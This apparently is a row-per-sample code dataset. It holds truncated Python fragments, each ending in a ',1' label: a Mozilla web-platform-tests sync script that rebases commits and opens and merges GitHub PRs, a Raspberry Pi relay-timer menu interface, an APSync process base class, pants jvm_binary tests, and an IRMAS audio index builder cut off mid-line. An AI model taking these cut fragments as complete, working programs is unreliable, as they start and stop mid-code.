os.path.join(state.metadata_path, ""mozilla-sync"") with open(state.last_sync_path) as f: last_sync_sha1 = f.read().strip() state.last_sync_commit = Commit(state.local_tree, last_sync_sha1) if not state.local_tree.contains_commit(state.last_sync_commit): self.logger.error(""Could not find last sync commit %s"" % last_sync_sha1) return exit_clean self.logger.info(""Last sync to web-platform-tests happened in %s"" % state.last_sync_commit.sha1) class GetBaseCommit(Step): """"""Find the latest upstream commit on the branch that we are syncing with"""""" provides = [""base_commit""] def create(self, state): state.base_commit = state.sync_tree.get_remote_sha1(state.sync[""remote_url""], state.sync[""branch""]) self.logger.debug(""New base commit is %s"" % state.base_commit.sha1) class LoadCommits(Step): """"""Get a list of commits in the gecko tree that need to be upstreamed"""""" provides = [""source_commits""] def create(self, state): state.source_commits = state.local_tree.log(state.last_sync_commit, state.tests_path) update_regexp = re.compile(""Bug \d+ - Update web-platform-tests to revision [0-9a-f]{40}"") for i, commit in enumerate(state.source_commits[:]): if update_regexp.match(commit.message.text): # This is a previous update commit so ignore it state.source_commits.remove(commit) continue if commit.message.backouts: #TODO: Add support for collapsing backouts raise NotImplementedError(""Need to get the Git->Hg commits for backouts and remove the backed out patch"") if not commit.message.bug: self.logger.error(""Commit %i (%s) doesn't have an associated bug number."" % (i + 1, commit.sha1)) return exit_unclean self.logger.debug(""Source commits: %s"" % state.source_commits) class SelectCommits(Step): """"""Provide a UI to select which commits to upstream"""""" def create(self, state): if not state.source_commits: return while True: commits = state.source_commits[:] for i, commit in enumerate(commits): print ""%i:\t%s"" % (i, commit.message.summary) remove = raw_input(""Provide a space-separated list of any commits numbers to remove from the list to upstream:\n"").strip() remove_idx = set() invalid = False for item in remove.split("" ""): try: item = int(item) except: invalid = True break if item < 0 or item >= len(commits): invalid = True break remove_idx.add(item) if invalid: continue keep_commits = [(i,cmt) for i,cmt in enumerate(commits) if i not in remove_idx] #TODO: consider printed removed commits print ""Selected the following commits to keep:"" for i, commit in keep_commits: print ""%i:\t%s"" % (i, commit.message.summary) confirm = raw_input(""Keep the above commits? y/n\n"").strip().lower() if confirm == ""y"": state.source_commits = [item[1] for item in keep_commits] break class MovePatches(Step): """"""Convert gecko commits into patches against upstream and commit these to the sync tree."""""" provides = [""commits_loaded""] def create(self, state): state.commits_loaded = 0 strip_path = os.path.relpath(state.tests_path, state.local_tree.root) self.logger.debug(""Stripping patch %s"" % strip_path) for commit in state.source_commits[state.commits_loaded:]: i = state.commits_loaded + 1 self.logger.info(""Moving commit %i: %s"" % (i, commit.message.full_summary)) patch = commit.export_patch(state.tests_path) stripped_patch = rewrite_patch(patch, strip_path) try: state.sync_tree.import_patch(stripped_patch) except: print patch.diff raise state.commits_loaded = i class RebaseCommits(Step): """"""Rebase commits from the current branch on top of the upstream destination branch. This step is particularly likely to fail if the rebase generates merge conflicts. In that case the conflicts can be fixed up locally and the sync process restarted with --continue. """""" provides = [""rebased_commits""] def create(self, state): self.logger.info(""Rebasing local commits"") continue_rebase = False # Check if there's a rebase in progress if (os.path.exists(os.path.join(state.sync_tree.root, "".git"", ""rebase-merge"")) or os.path.exists(os.path.join(state.sync_tree.root, "".git"", ""rebase-apply""))): continue_rebase = True try: state.sync_tree.rebase(state.base_commit, continue_rebase=continue_rebase) except subprocess.CalledProcessError: self.logger.info(""Rebase failed, fix merge and run %s again with --continue"" % sys.argv[0]) raise state.rebased_commits = state.sync_tree.log(state.base_commit) self.logger.info(""Rebase successful"") class CheckRebase(Step): """"""Check if there are any commits remaining after rebase"""""" def create(self, state): if not state.rebased_commits: self.logger.info(""Nothing to upstream, exiting"") return exit_clean class MergeUpstream(Step): """"""Run steps to push local commits as seperate PRs and merge upstream."""""" provides = [""merge_index"", ""gh_repo""] def create(self, state): gh = GitHub(state.token) if ""merge_index"" not in state: state.merge_index = 0 org, name = urlparse.urlsplit(state.sync[""remote_url""]).path[1:].split(""/"") if name.endswith("".git""): name = name[:-4] state.gh_repo = gh.repo(org, name) for commit in state.rebased_commits[state.merge_index:]: with state.push([""gh_repo"", ""sync_tree""]): state.commit = commit pr_merger = PRMergeRunner(self.logger, state) rv = pr_merger.run() if rv is not None: return rv state.merge_index += 1 class UpdateLastSyncCommit(Step): """"""Update the gecko commit at which we last performed a sync with upstream."""""" provides = [] def create(self, state): self.logger.info(""Updating last sync commit"") with open(state.last_sync_path, ""w"") as f: f.write(state.local_tree.rev) # This gets added to the patch later on class MergeLocalBranch(Step): """"""Create a local branch pointing at the commit to upstream"""""" provides = [""local_branch""] def create(self, state): branch_prefix = ""sync_%s"" % state.commit.sha1 local_branch = state.sync_tree.unique_branch_name(branch_prefix) state.sync_tree.create_branch(local_branch, state.commit) state.local_branch = local_branch class MergeRemoteBranch(Step): """"""Get an unused remote branch name to use for the PR"""""" provides = [""remote_branch""] def create(self, state): remote_branch = ""sync_%s"" % state.commit.sha1 branches = [ref[len(""refs/heads/""):] for sha1, ref in state.sync_tree.list_remote(state.gh_repo.url) if ref.startswith(""refs/heads"")] state.remote_branch = get_unique_name(branches, remote_branch) class PushUpstream(Step): """"""Push local branch to remote"""""" def create(self, state): self.logger.info(""Pushing commit upstream"") state.sync_tree.push(state.gh_repo.url, state.local_branch, state.remote_branch) class CreatePR(Step): """"""Create a PR for the remote branch"""""" provides = [""pr""] def create(self, state): self.logger.info(""Creating a PR"") commit = state.commit state.pr = state.gh_repo.create_pr(commit.message.full_summary, state.remote_branch, ""master"", commit.message.body if commit.message.body else """") class PRAddComment(Step): """"""Add an issue comment indicating that the code has been reviewed already"""""" def create(self, state): state.pr.issue.add_comment(""Code reviewed upstream."") class MergePR(Step): """"""Merge the PR"""""" def create(self, state): self.logger.info(""Merging PR"") state.pr.merge() class PRDeleteBranch(Step): """"""Delete the remote branch"""""" def create(self, state): self.logger.info(""Deleting remote branch"") state.sync_tree.push(state.gh_repo.url, """", state.remote_branch) class SyncToUpstreamRunner(StepRunner): """"""Runner for syncing local changes to upstream"""""" steps = [LoadManifest, CheckoutBranch, GetLastSyncCommit, GetBaseCommit, LoadCommits, SelectCommits, MovePatches, RebaseCommits, CheckRebase, MergeUpstream, UpdateLastSyncCommit] class PRMergeRunner(StepRunner): """"""(Sub)Runner for creating and merging a PR"""""" steps = [ MergeLocalBranch, MergeRemoteBranch, PushUpstream, CreatePR, PRAddComment, MergePR, PRDeleteBranch, ] ",1 " redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . #/****************************************************************************/ #/* PiTimer - Step 8 - Controlling physical relays. */ #/* ------------------------------------------------------------------------ */ #/* V1.00 - 2015-07-04 - Jason Birch */ #/* ------------------------------------------------------------------------ */ #/* Class to handle user input, output display and interface state machine. */ #/****************************************************************************/ import string import operator import datetime import SystemTime import Schedule import ScheduleItem # Constants to define current user interface display. STATE_MAIN_MENU = 0 STATE_ADD_SCHEDULE = 1 STATE_DEL_SCHEDULE = 2 STATE_RELAY_STATES = 3 STATE_SCHEDULE = 4 STATE_SET_SYSTEM_TIME = 5 STATE_SHUTDOWN = 6 # Constants to define display modes. MODE_STANDARD = 0 MODE_CONFIRM = 1 class UserInterface: def __init__(self, NewWIndow, NewThisSchedule, NewThisRelays): # Store a reference to the system window class to display onto. self.ThisWindow = NewWIndow # Store a reference to the schedule class to display schedule inforamtion. self.ThisSchedule = NewThisSchedule # Store a reference to the relays class to display relay inforamtion. self.ThisRelays = NewThisRelays # Create an instance of the system time class, to display the system time. self.ThisSystemTime = SystemTime.SystemTime() # Display application splash screen on initialisation. self.DisplaySplash() # Buffer for input strings. self.InputBuffer = """" # List position, moved by user. self.SelectPos = 0 self.SelectID = 0 # Display the initial user interface, the main menu. self.InterfaceState = STATE_MAIN_MENU #/***************************************************/ #/* Display a splash screen for application startup */ #/* to show information about this application. */ #/***************************************************/ def DisplaySplash(self): self.ThisWindow.clear() self.ThisWindow.refresh() print(""{:^20}"".format(""PiTimer"") + ""\r"") print(""{:^20}"".format(""2015-06-23"") + ""\r"") print(""{:^20}"".format(""Version 1.00"") + ""\r"") print(""{:^20}"".format(""(C) Jason Birch"") + ""\r"") self.ThisWindow.refresh() #/***********************************************************************/ #/* Distribute key press events to the current user interface function. */ #/***********************************************************************/ def KeyPress(self, KeyCode): Result = KeyCode if self.InterfaceState == STATE_MAIN_MENU: Result = self.KeysMainMenu(KeyCode) elif self.InterfaceState == STATE_ADD_SCHEDULE: Result = self.KeysAddSchedule(KeyCode) elif self.InterfaceState == STATE_DEL_SCHEDULE: Result = self.KeysDelSchedule(KeyCode) elif self.InterfaceState == STATE_SCHEDULE: Result = self.KeysSchedule(KeyCode) elif self.InterfaceState == STATE_RELAY_STATES: Result = self.KeysRelayStates(KeyCode) elif self.InterfaceState == STATE_SET_SYSTEM_TIME: Result = self.KeysSetSystemTime(KeyCode) return Result #/****************************************************************/ #/* Certain user interface displays need to update every second. */ #/****************************************************************/ def DisplayRefresh(self): if self.InterfaceState == STATE_MAIN_MENU: self.DisplayMainMenu() elif self.InterfaceState == STATE_ADD_SCHEDULE: self.DisplayAddSchedule() elif self.InterfaceState == STATE_DEL_SCHEDULE: self.DisplayDelSchedule() elif self.InterfaceState == STATE_SCHEDULE: self.DisplaySchedule() elif self.InterfaceState == STATE_RELAY_STATES: self.DisplayRelayStates() elif self.InterfaceState == STATE_SET_SYSTEM_TIME: self.DisplaySetSystemTime() #/*******************************************************/ #/* Change the current user interface to a new display. */ #/*******************************************************/ def SetInterfaceState(self, NewInterfaceState): # Start on standard display mode. self.Mode = MODE_STANDARD # Clear the input buffer. self.InputBuffer = """" # Reset list selection position. self.SelectPos =0 self.SelectID = 0 self.InterfaceState = NewInterfaceState if self.InterfaceState == STATE_MAIN_MENU: self.DisplayMainMenu() elif self.InterfaceState == STATE_ADD_SCHEDULE: self.DisplayAddSchedule() elif self.InterfaceState == STATE_DEL_SCHEDULE: self.DisplayDelSchedule() elif self.InterfaceState == STATE_SCHEDULE: self.DisplaySchedule() elif self.InterfaceState == STATE_RELAY_STATES: self.DisplayRelayStates() elif self.InterfaceState == STATE_SET_SYSTEM_TIME: self.DisplaySetSystemTime() #/*********************************************************/ #/* Provided the input from the user and a mask to define */ #/* how to display the input, format a string to display. */ #/*********************************************************/ def GetMaskedInput(self, Mask, Input): InputCount = 0 Result = """" for Char in Mask: if Char == ""#"" and len(Input) > InputCount: Result += Input[InputCount:InputCount + 1] InputCount += 1 else: Result += Char return Result #/************************************************/ #/* Gather the input required for an input mask. */ #/************************************************/ def KeyMaskedInput(self, Mask, Input, KeyCode): # If a valid key is pressed, add to the input buffer. if len(Input) < Mask.count(""#"") and KeyCode >= ord(""0"") and KeyCode <= ord(""9""): Input += chr(KeyCode) # If delete key is pressed, delete the last entered key. elif KeyCode == 127 and len(Input) > 0: Input = Input[:-1] return Input #/*****************************/ #/* MAIN MENU user interface. */ #/*****************************/ def DisplayMainMenu(self): self.ThisWindow.clear() self.ThisWindow.refresh() print(""{:>20}"".format(self.ThisSystemTime.SystemTimeString()) + ""\r"") print(""{:^20}"".format(""1 Add 4 Schedule"") + ""\r"") print(""{:^20}"".format(""2 Delete 5 Set Time"") + ""\r"") print(""{:^20}"".format(""3 Relays 6 Shutdown"") + ""\r"") self.ThisWindow.refresh() def KeysMainMenu(self, KeyCode): Result = KeyCode # If menu item 1 is selected, change to display add schedule. if KeyCode == ord(""1""): self.SetInterfaceState(STATE_ADD_SCHEDULE) # If menu item 2 is selected, change to display del schedule. if KeyCode == ord(""2""): self.SetInterfaceState(STATE_DEL_SCHEDULE) # If menu item 3 is selected, change to display relay states. if KeyCode == ord(""3""): self.SetInterfaceState(STATE_RELAY_STATES) # If menu item 4 is selected, change to display schedule. if KeyCode == ord(""4""): self.SetInterfaceState(STATE_SCHEDULE) # If menu item 5 is selected, change to display set system time. if KeyCode == ord(""5""): self.SetInterfaceState(STATE_SET_SYSTEM_TIME) # If menu item 6 is selected, return ESC key to the application main loop. if KeyCode == ord(""6""): Result = 27 return Result #/********************************/ #/* RELAY STATES user interface. */ #/********************************/ def DisplayRelayStates(self): self.ThisWindow.clear() self.ThisWindow.refresh() self.ThisRelays.DisplayRelayStates() self.ThisWindow.refresh() def KeysRelayStates(self, KeyCode): Result = KeyCode # If enter key is pressed, change to display main menu. if KeyCode == 10: self.SetInterfaceState(STATE_MAIN_MENU) return Result #/********************************/ #/* ADD SCHEDULE user interface. */ #/********************************/ def DisplayAddSchedule(self): self.ThisWindow.clear() self.ThisWindow.refresh() print(""{:^20}"".format(""ADD SCHEDULE"") + ""\r"") print(self.GetMaskedInput(""####-##-## ##:##:##\r\nPeriod ### ##:##:##\r\nRelay ## State #\r"", self.InputBuffer)) self.ThisWindow.refresh() def KeysAddSchedule(self, KeyCode): Result = KeyCode self.InputBuffer = self.KeyMaskedInput(""####-##-## ##:##:## ### ##:##:## ## #"", self.InputBuffer, KeyCode) # If enter key is pressed, change to display main menu. if KeyCode == 10: # If full user input has been gathered, add a schedule item. if len(self.InputBuffer) == 26: # Parse user input. UserInput = self.GetMaskedInput(""####-##-## ##:##:## ### ##:##:## ## #"", self.InputBuffer) RelayState = { ""0"":ScheduleItem.RELAY_OFF, ""1"":ScheduleItem.RELAY_ON, ""2"":ScheduleItem.RELAY_TOGGLE, }.get(UserInput[36:37], ScheduleItem.RELAY_TOGGLE) PeriodSeconds = string.atoi(UserInput[30:32]) + 60 * string.atoi(UserInput[27:29]) + 60 * 60 * string.atoi(UserInput[24:26]) + 24 * 60 * 60 * string.atoi(UserInput[20:23]) PeriodDays = operator.div(PeriodSeconds, 24 * 60 * 60) PeriodSeconds = operator.mod(PeriodSeconds, 24 * 60 * 60) # Add schedule item, ignore errors from invalid data entered. try: self.ThisSchedule.AddSchedule(string.atoi(UserInput[33:35]), datetime.datetime(string.atoi(UserInput[0:4]), string.atoi(UserInput[5:7]), string.atoi(UserInput[8:10]), string.atoi(UserInput[11:13]), string.atoi(UserInput[14:16]), string.atoi(UserInput[17:19])), RelayState, datetime.timedelta(PeriodDays, PeriodSeconds)) except: print("""") self.ThisWindow.refresh() self.SetInterfaceState(STATE_MAIN_MENU) return Result #/********************************/ #/* DEL SCHEDULE user interface. */ #/********************************/ def DisplayDelSchedule(self): self.ThisWindow.clear() self.ThisWindow.refresh() if self.Mode == MODE_STANDARD: print(""{:^20}"".format(""DELETE SCHEDULE"") + ""\r"") print(""\r"") if self.ThisSchedule.GetItemCount(): self.SelectID = self.ThisSchedule.DisplaySchedule(self.SelectPos, 1) else: print(""{:^20}"".format(""Empty"") + ""\r"") elif self.Mode == MODE_CONFIRM: print(""{:^20}"".format(""DELETE SCHEDULE"") + ""\r"") print(""\r"") print(""{:^20}"".format(""ARE YOU SURE?"") + ""\r"") print(""{:^20}"".format(""(4=N, 6=Y)"") + ""\r"") self.ThisWindow.refresh() def KeysDelSchedule(self, KeyCode): Result = KeyCode if self.Mode == MODE_STANDARD: # If a key at the top of the keypad is pressed, move up the list. if (KeyCode == ord(""1"") or KeyCode == ord(""2"") or KeyCode == ord(""3"")) and self.SelectPos > 0: self.SelectPos -= 1 # If a key at the bottom of the keypad is pressed, move down the list. elif (KeyCode == ord(""0"") or KeyCode == ord(""7"") or KeyCode == ord(""8"") or KeyCode == ord(""9"")) and self.SelectPos < self.ThisSchedule.GetItemCount() - 1: self.SelectPos += 1 # If enter key is pressed, enter confirm mode. if KeyCode == 10: if self.ThisSchedule.GetItemCount(): self.Mode = MODE_CONFIRM else: self.SetInterfaceState(STATE_MAIN_MENU) # If delete key is pressed, change to display main menu. if KeyCode == 127: self.SetInterfaceState(STATE_MAIN_MENU) elif self.Mode == MODE_CONFIRM: if KeyCode == ord(""4""): self.SetInterfaceState(STATE_MAIN_MENU) elif KeyCode == ord(""6""): self.ThisSchedule.DelSchedule(self.SelectID) self.SetInterfaceState(STATE_MAIN_MENU) return Result #/************************************/ #/* CURRENT SCHEDULE user interface. */ #/************************************/ def DisplaySchedule(self): self.ThisWindow.clear() self.ThisWindow.refresh() if self.ThisSchedule.GetItemCount(): self.ThisSchedule.DisplaySchedule(self.SelectPos, 2) else: print(""\r"") print(""{:^20}"".format(""Empty"") + ""\r"") self.ThisWindow.refresh() def KeysSchedule(self, KeyCode): Result = KeyCode # If a key at the top of the keypad is pressed, move up the list. if (KeyCode == ord(""1"") or KeyCode == ord(""2"") or KeyCode == ord(""3"")) and self.SelectPos > 0: self.SelectPos -= 1 # If a key at the bottom of the keypad is pressed, move down the list. elif (KeyCode == ord(""0"") or KeyCode == ord(""7"") or KeyCode == ord(""8"") or KeyCode == ord(""9"")) and self.SelectPos < self.ThisSchedule.GetItemCount() - 1: self.SelectPos += 1 # If enter key is pressed, change to display main menu. elif KeyCode == 10: self.SetInterfaceState(STATE_MAIN_MENU) return Result #/***********************************/ #/* SET SYSTEM TIME user interface. */ #/***********************************/ def DisplaySetSystemTime(self): self.ThisWindow.clear() self.ThisWindow.refresh() print(""{:^20}"".format(""SET SYSTEM TIME"") + ""\r"") print(self.GetMaskedInput(""####-##-## ##:##:##\r"", self.InputBuffer)) self.ThisWindow.refresh() def KeysSetSystemTime(self, KeyCode): Result = KeyCode self.InputBuffer = self.KeyMaskedInput(""####-##-## ##:##:##"", self.InputBuffer, KeyCode) # If enter key is pressed, change to display main menu. if KeyCode == 10: # If full user input has been gathered, set the system time. if len(self.InputBuffer) == 14: # BOOKMARK: THIS IS A PLACEHOLDER FOR WHEN THE CLOCK MODLUE IS IMPLEMENTED. self.ThisSystemTime.SetSystemTime(self.GetMaskedInput(""####-##-## ##:##:##"", self.InputBuffer)) self.SetInterfaceState(STATE_MAIN_MENU) return Result ",1 "ceback import setproctitle from APSyncFramework.utils.common_utils import PeriodicEvent from APSyncFramework.utils.json_utils import ping, json_wrap_with_target from APSyncFramework.utils.file_utils import read_config, write_config class APModule(Process): '''The base class for all modules''' def __init__(self, in_queue, out_queue, name, description = None): super(APModule, self).__init__() signal.signal(signal.SIGINT, self.exit_gracefully) signal.signal(signal.SIGTERM, self.exit_gracefully) self.daemon = True self.config_list= [] # overwrite this list self.config_changed = False self.config = read_config() self.start_time = time.time() self.last_ping = None self.needs_unloading = Event() self.lock = threading.Lock() self.in_queue = in_queue self.out_queue = out_queue self.name = name self.ping = PeriodicEvent(frequency = 1.0/3.0, event = self.send_ping) self.in_queue_thread = threading.Thread(target=self.in_queue_handling, args = (self.lock,)) self.in_queue_thread.daemon = True setproctitle.setproctitle(self.name) if description is None: self.description = ""APSync {0} process"".format(self.name) else: self.description = description def update_config(self, config_list = []): if len(config_list): self.config_list = config_list for (var_name, var_default) in self.config_list: self.set_config(var_name, var_default) if self.config_changed: # TODO: send a msg to the webserver to update / reload the current page self.log('At least one of your cloudsync settings was missing or has been updated, please reload the webpage if open.', 'INFO') self.config_changed = False config_on_disk = read_config() for k in config_on_disk.keys(): if not k in self.config: self.config[k] = config_on_disk[k] write_config(self.config) def send_ping(self): self.out_queue.put_nowait(ping(self.name, self.pid)) def exit_gracefully(self, signum, frame): self.unload() def unload(self): print self.name, 'called unload' self.unload_callback() self.needs_unloading.set() def unload_callback(self): ''' overload to perform any module specific cleanup''' pass def run(self): if self.in_queue_thread is not None: self.in_queue_thread.start() while not self.needs_unloading.is_set(): try: self.main() except: print (""FATAL: module ({0}) exited while multiprocessing"".format(self.name)) traceback.print_exc() # TODO: logging here print self.name, 'main finished' def main(self): pass def in_queue_handling(self, lock=None): while not self.needs_unloading.is_set(): (inputready,outputready,exceptready) = select.select([self.in_queue._reader],[],[],0.1) for s in inputready: while not self.in_queue.empty(): # drain the queue data = self.in_queue.get_nowait() if isinstance(data, Unload): self.unload() else: # do something useful with the data... self.process_in_queue_data(data) self.ping.trigger() print self.name, 'in queue finished' def process_in_queue_data(self, data): pass def log(self, message, level = 'INFO'): # CRITICAL # ERROR # WARNING # INFO # DEBUG # NOTSET self.out_queue.put_nowait(json_wrap_with_target({'msg':message, 'level':level}, target = 'logging')) def set_config(self, var_name, var_default): new_val = self.config.get(var_name, var_default) try: cur_val = self.config[var_name] if new_val != cur_val: self.config_changed = True except: self.config_changed = True finally: self.config[var_name] = new_val return new_val class Unload(): def __init__(self, name): self.ack = False ",1 "m __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import unittest from textwrap import dedent from pants.backend.jvm.register import build_file_aliases as register_jvm from pants.backend.jvm.targets.exclude import Exclude from pants.backend.jvm.targets.jvm_binary import (Duplicate, JarRules, JvmBinary, ManifestEntries, Skip) from pants.base.address import BuildFileAddress from pants.base.exceptions import TargetDefinitionException from pants.base.payload_field import FingerprintedField from pants.base.target import Target from pants_test.base_test import BaseTest class JarRulesTest(unittest.TestCase): def test_jar_rule(self): dup_rule = Duplicate('foo', Duplicate.REPLACE) self.assertEquals('Duplicate(apply_pattern=foo, action=REPLACE)', repr(dup_rule)) skip_rule = Skip('foo') self.assertEquals('Skip(apply_pattern=foo)', repr(skip_rule)) def test_invalid_apply_pattern(self): with self.assertRaisesRegexp(ValueError, r'The supplied apply_pattern is not a string'): Skip(None) with self.assertRaisesRegexp(ValueError, r'The supplied apply_pattern is not a string'): Duplicate(None, Duplicate.SKIP) with self.assertRaisesRegexp(ValueError, r'The supplied apply_pattern: \) is not a valid'): Skip(r')') with self.assertRaisesRegexp(ValueError, r'The supplied apply_pattern: \) is not a valid'): Duplicate(r')', Duplicate.SKIP) def test_bad_action(self): with self.assertRaisesRegexp(ValueError, r'The supplied action must be one of'): Duplicate('foo', None) def test_duplicate_error(self): with self.assertRaisesRegexp(Duplicate.Error, r'Duplicate entry encountered for path foo'): raise Duplicate.Error('foo') def test_default(self): jar_rules = JarRules.default() self.assertTrue(4, len(jar_rules.rules)) for rule in jar_rules.rules: self.assertTrue(rule.apply_pattern.pattern.startswith(r'^META-INF')) def test_set_bad_default(self): with self.assertRaisesRegexp(ValueError, r'The default rules must be a JarRules'): JarRules.set_default(None) class JvmBinaryTest(BaseTest): @property def alias_groups(self): return register_jvm() def test_simple(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', basename='foo-base', ) ''')) target = self.target('//:foo') self.assertEquals('com.example.Foo', target.main) self.assertEquals('com.example.Foo', target.payload.main) self.assertEquals('foo-base', target.basename) self.assertEquals('foo-base', target.payload.basename) self.assertEquals([], target.deploy_excludes) self.assertEquals([], target.payload.deploy_excludes) self.assertEquals(JarRules.default(), target.deploy_jar_rules) self.assertEquals(JarRules.default(), target.payload.deploy_jar_rules) self.assertEquals({}, target.payload.manifest_entries.entries); def test_default_base(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', ) ''')) target = self.target('//:foo') self.assertEquals('foo', target.basename) def test_deploy_jar_excludes(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', deploy_excludes=[exclude(org='example.com', name='foo-lib')], ) ''')) target = self.target('//:foo') self.assertEquals([Exclude(org='example.com', name='foo-lib')], target.deploy_excludes) def test_deploy_jar_rules(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', deploy_jar_rules=jar_rules([Duplicate('foo', Duplicate.SKIP)], default_dup_action=Duplicate.FAIL) ) ''')) target = self.target('//:foo') jar_rules = target.deploy_jar_rules self.assertEquals(1, len(jar_rules.rules)) self.assertEquals('foo', jar_rules.rules[0].apply_pattern.pattern) self.assertEquals(repr(Duplicate.SKIP), repr(jar_rules.rules[0].action)) # self.assertEquals(Duplicate.FAIL, jar_rules.default_dup_action) def test_bad_source_declaration(self): build_file = self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', source=['foo.py'], ) ''')) with self.assertRaisesRegexp(TargetDefinitionException, r'Invalid target JvmBinary.*foo.*source must be a single'): self.build_graph.inject_address_closure(BuildFileAddress(build_file, 'foo')) def test_bad_sources_declaration(self): with self.assertRaisesRegexp(Target.IllegalArgument, r'jvm_binary only supports a single ""source"" argument'): self.make_target('foo:foo', target_type=JvmBinary, main='com.example.Foo', sources=['foo.py']) def test_bad_main_declaration(self): build_file = self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='bar', main=['com.example.Bar'], ) ''')) with self.assertRaisesRegexp(TargetDefinitionException, r'Invalid target JvmBinary.*bar.*main must be a fully'): self.build_graph.inject_address_closure(BuildFileAddress(build_file, 'bar')) def test_bad_jar_rules(self): build_file = self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', deploy_jar_rules='invalid', ) ''')) with self.assertRaisesRegexp(TargetDefinitionException, r'Invalid target JvmBinary.*foo.*' r'deploy_jar_rules must be a JarRules specification. got str'): self.build_graph.inject_address_closure(BuildFileAddress(build_file, 'foo')) def _assert_fingerprints_not_equal(self, fields): for field in fields: for other_field in fields: if field == other_field: continue self.assertNotEquals(field.fingerprint(), other_field.fingerprint()) def test_jar_rules_field(self): field1 = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.SKIP)])) field1_same = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.SKIP)])) field2 = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.CONCAT)])) field3 = FingerprintedField(JarRules(rules=[Duplicate('bar', Duplicate.SKIP)])) field4 = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.SKIP), Duplicate('bar', Duplicate.SKIP)])) field5 = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.SKIP), Skip('foo')])) field6 = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.SKIP)], default_dup_action=Duplicate.FAIL)) field6_same = FingerprintedField(JarRules(rules=[Duplicate('foo', Duplicate.SKIP)], default_dup_action=Duplicate.FAIL)) field7 = FingerprintedField(JarRules(rules=[Skip('foo')])) field8 = FingerprintedField(JarRules(rules=[Skip('bar')])) field8_same = FingerprintedField(JarRules(rules=[Skip('bar')])) self.assertEquals(field1.fingerprint(), field1_same.fingerprint()) self.assertEquals(field6.fingerprint(), field6_same.fingerprint()) self.assertEquals(field8.fingerprint(), field8_same.fingerprint()) self._assert_fingerprints_not_equal([field1, field2, field3, field4, field5, field6, field7]) def test_manifest_entries(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', manifest_entries= { 'Foo-Field' : 'foo', } ) ''')) target = self.target('//:foo') self.assertTrue(isinstance(target.payload.manifest_entries, ManifestEntries)) entries = target.payload.manifest_entries.entries self.assertEquals({ 'Foo-Field' : 'foo'}, entries) def test_manifest_not_dict(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', manifest_entries= 'foo', ) ''')) with self.assertRaisesRegexp(TargetDefinitionException, r'Invalid target JvmBinary\(BuildFileAddress\(.*BUILD\), foo\)\): ' r'manifest_entries must be a dict. got str'): self.target('//:foo') def test_manifest_bad_key(self): self.add_to_build_file('BUILD', dedent(''' jvm_binary(name='foo', main='com.example.Foo', manifest_entries= { jar(org='bad', name='bad', rev='bad') : 'foo', } ) ''')) with self.assertRaisesRegexp(ManifestEntries.ExpectedDictionaryError, r'entries must be dictionary of strings, got key bad-bad-bad type JarDependency'): self.target('//:foo') def test_manifest_entries_fingerprint(self): field1 = ManifestEntries() field2 = ManifestEntries({'Foo-Field' : 'foo'}) field2_same = ManifestEntries({'Foo-Field' : 'foo'}) field3 = ManifestEntries({'Foo-Field' : 'foo', 'Bar-Field' : 'bar'}) self.assertEquals(field2.fingerprint(), field2_same.fingerprint()) self._assert_fingerprints_not_equal([field1, field2, field3]) ",1 """""""Get md5 hash of a file. Parameters ---------- file_path: str File path. Returns ------- md5_hash: str md5 hash of data in file_path """""" hash_md5 = hashlib.md5() with open(file_path, 'rb') as fhandle: for chunk in iter(lambda: fhandle.read(4096), b''): hash_md5.update(chunk) return hash_md5.hexdigest() def strip_first_dir(full_path): return os.path.join(*(full_path.split(os.path.sep)[1:])) def make_irmas_index(irmas_data_path): count = 0 irmas_dict = dict() for root, dirs, files in os.walk(irmas_data_path): for directory in dirs: if 'Train' in directory: for root_, dirs_, files_ in os.walk( os.path.join(irmas_data_path, directory) ): for directory_ in dirs_: for root__, dirs__, files__ in os.walk( os.path.join(irmas_data_path, directory, directory_) ): for file in files__: if file.endswith('.wav'): if 'dru' in file: irmas_id_dru = file.split(']')[3] # Obtain id irmas_id_dru_no_wav = irmas_id_dru.split('.')[ 0 ] # Obtain id without '.wav' irmas_dict[irmas_id_dru_no_wav] = os.path.join( directory, directory_, file ) if 'nod' in file: irmas_id_nod = file.split(']')[3] # Obtain id irmas_id_nod_no_wav = irmas_id_nod.split('.')[ 0 ] # Obtain id without '.wav' irmas_dict[irmas_id_nod_no_wav] = os.path.join( directory, directory_, file ) else: irmas_id = file.split(']')[2] # Obtain id irmas_id_no_wav = irmas_id.split('.')[ 0 ] # Obtain id without '.wav' irmas_dict[irmas_id_no_wav] = os.path.join( directory, directory_, file ) irmas_test_dict = dict() for root, dirs, files in os.walk(irmas_data_path): for directory in dirs: if 'Test' in directory: for root_, dirs_, files_ in os.walk( os.path.join(irmas_data_path, directory) ): for directory_ in dirs_: for root__, dirs__, files__ in os.walk( os.path.join(irmas_data_path, directory, directory_) ): for file in files__: if file.endswith('.wav'): file_name = os.path.join( directory, directory_, file ) track_name = str(file_name.split('.wa')[0]) + '.txt' irmas_test_dict[count] = [file_name, track_name] count += 1 irmas_id_list = sorted(irmas_dict.items()) # Sort strokes by id irmas_index = {} for inst in irmas_id_list: print(inst[1]) audio_checksum = 